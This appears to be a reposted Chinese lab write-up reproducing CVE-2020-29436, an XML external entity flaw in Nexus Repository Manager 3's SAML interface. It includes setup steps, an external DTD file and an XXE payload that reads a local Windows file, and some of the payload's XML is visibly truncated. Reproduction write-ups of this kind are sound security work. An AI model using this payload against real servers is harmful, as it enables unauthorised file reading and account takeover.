CVE-2020-29436:Nexus3 XML外部实体注入复现
Posted Timeline Sec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2020-29436:Nexus3 XML外部实体注入复现相关的知识,希望对你有一定的参考价值。
Nexus Repository Manager 3是一款通用的软件包仓库管理(Universal Repository Manager)服务。
/service/rest/internal/ui/saml接口允许加载外部dtd。攻击者能够利用该漏洞获取Nexus Repository Manager 3的管理员帐户,从而可以配置系统、查看文件系统上的文件,获取敏感信息。
Nexus Repository Manager 3 <= 3.28.1
本地环境需要JDK 1.8以上
官网下载:
https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3
本次复现使用版本为3.28.1
解压后,到nexus-3.28.1-01in目录下
命令行运行:nexus.exe /run
稍等一会,出现下图,表示启动成功
访问管理后台:http://localhost:8081/
点击登录,输入默认口令:admin/admin123
登陆失败,百度一下:
cd /sonatype-work/nexus3
找到admin.password,密码就是那一串字符:
哦~,原来是不让使用默认密码,也访问不了saml接口,只有pro版本才可以
然后去下载pro版本的证书(此处一定要用火狐浏览器,Google快把我整废)
https://www.sonatype.com/nexus/repository-pro/trial
下载好证书文件
安装证书
证书安装成功后如下图所示
接着服务器重启服务,可以看到版本已经变成了pro
访问:
http://yourhost:8081/#admin/security/saml
在填入payload之前先用python起一个http服务
并在http服务的目录下写一个my.dtd文件,文件内容为:
<!ENTITY % all
"<!ENTITY % send SYSTEM '%file;'>"
>
%all;
接着将payload填入到文本框中
% file SYSTEM "file:///C:/Windows/win.ini">
% dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
%dtd;
%send;
]>
<ANY>xxe</ANY>
及时升级到最新版本。
参考链接:
以上是关于CVE-2020-29436:Nexus3 XML外部实体注入复现的主要内容,如果未能解决你的问题,请参考以下文章